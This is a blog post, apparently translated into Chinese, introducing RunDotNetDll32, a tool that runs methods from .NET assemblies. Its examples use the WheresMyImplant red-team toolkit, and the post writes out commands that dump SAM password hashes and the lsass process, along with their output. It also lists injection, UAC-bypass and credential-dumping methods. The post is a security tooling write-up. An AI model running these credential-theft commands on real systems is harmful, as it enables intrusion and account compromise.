导语:本文为读者介绍如何使用RunDotNetDll32来执行.NET方法。

在DerbyCon 2017大会上,我发布了一个名为WheresMyImplant的迷你红队工具包,并且该工具包采用的是.Net DLL形式。从那时起,该工具包一直处于开发过程中,陆续提供了许多有趣的功能。有段时间,我曾经寻找过一种能够从现有的DLL中快速执行.NET方法的手段。但是,据我所知,除了使用PowerShell或.net 的SmokeTest方法之外,还没有发现其他好工具,所以,我就为此创建了RunDotNetDll32。

在这篇文章中,我将为读者介绍RunDotNetDll32的功能和一些常见用法的示例。

RunDotNetDll32简介

下面的示例命令为读者演示了如何使用PowerShell加载.NET DLL WheresMyImplant.dll,以便通过执行DumpSAM()函数来发现本地密码的哈希值。

[System.Reflection.Assembly]::Load("WheresMyImplant.dll")
[WheresMyImplant.Implant]::DumpSAM()
[System.Reflection.Assembly]::Unload("WheresMyImplant.dll")

如您所见,PowerShell可以成为反射式执行.NET方法的绝佳媒介。但是,这种方式在测试过程中会变得更加繁琐,并且也不适合执行客户端代码。

此外,RunDotNetDll32还有一个用途,那就是为.Net程序集复制rundll32的功能。在语法上,它与rundll32.exe也非常相似。例如,若要锁定工作站然后记录登陆过程的击键的话,可以使用下列命令:

rundll32.exe User32.dll,LockWorkStation

其语法为:

rundll32.exe $ASSEMBLY,$ENTRYPOINT $ARGUMENTS

使用RunDotNetDll32时,语法必须稍加修改,具体如下所示:

rundotnetdll32.exe $ASSEMBLY,$NAMESPACE,$CLASS,$METHOD $ARGUMENTS

例如,要想从WheresMyImplant运行SAM hashdump的话,可以使用以下命令:

rundotnetdll32.exe WheresMyImplant.dll,WheresMyImplant,Implant,DumpSAM
----------
Namespace: WheresMyImplant
Class: Implant
Method: DumpSAM
Arguments:
----------
[+] Running as SYSTEM
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

同样,我们也可以从WheresMyImplant运行MiniDump方法,具体命令如下所示:

rundotnetdll32.exe WheresMyImplant.dll,WheresMyImplant,Implant,MiniDump 552,lsass.dmp
----------
Namespace: WheresMyImplant
Class: Implant
Method: MiniDump
Arguments: 552 lsass.dmp
----------
[+] Received Handle: 512
[+] Dump File Created

枚举命名空间、类和方法

我们都知道,要记住程序集中的每个名称空间、类和方法可不太容易。因此,我为这个软件提供了显示命名空间、类和方法的功能。

下面,我们来举例说明这些功能的用法:

列出命名空间

rundotnetdll32.exe WheresMyImplant.dll list namespaces
WheresMyImplant

列出类名

rundotnetdll32.exe WheresMyImplant.dll list classes
WheresMyImplant
        [TRUNCATED]
        RunCommandPrompt
        ntdll
        LSASecrets
        InjectDll
        MyInstall
        Implant
        BaseSQL
        RunXPCmdShell
        Advapi32
        [TRUNCATED]

列出方法的名称

rundotnetdll32.exe WheresMyImplant.dll list methods WheresMyImplant Implant
WheresMyImplant
        Implant
                RunCMD
                RunPowerShell
                RunXpCmdShell
                InjectShellCode
                InjectShellCodeWMIFSB64
                InjectDll
                InjectDllWMIFS
                InjectPeFile
                InjectPeString
                InjectPeWMIFS
                InjectPeWMIFSRemote
                Empire
                Tokenvator
                BypassUac
                DumpLsa
                DumpSAM
                DumpDomainCache
                DumpVault
                DumpVaultCLI
                ReadProcessMemory
                CheckCCNumber
                MiniDump
                PSExec
                WirelessPreSharedKey
                [TRUNCATED]

虽然这个程序是专门为自己和自己的团队而创建的,但是,我仍然希望它能够对涉及.NET应用程序的蓝队和红队成员带来帮助。如果您在使用过程中发现了任何错误的话,欢迎指出,我们将感激不尽。

源链接

Hacking more

...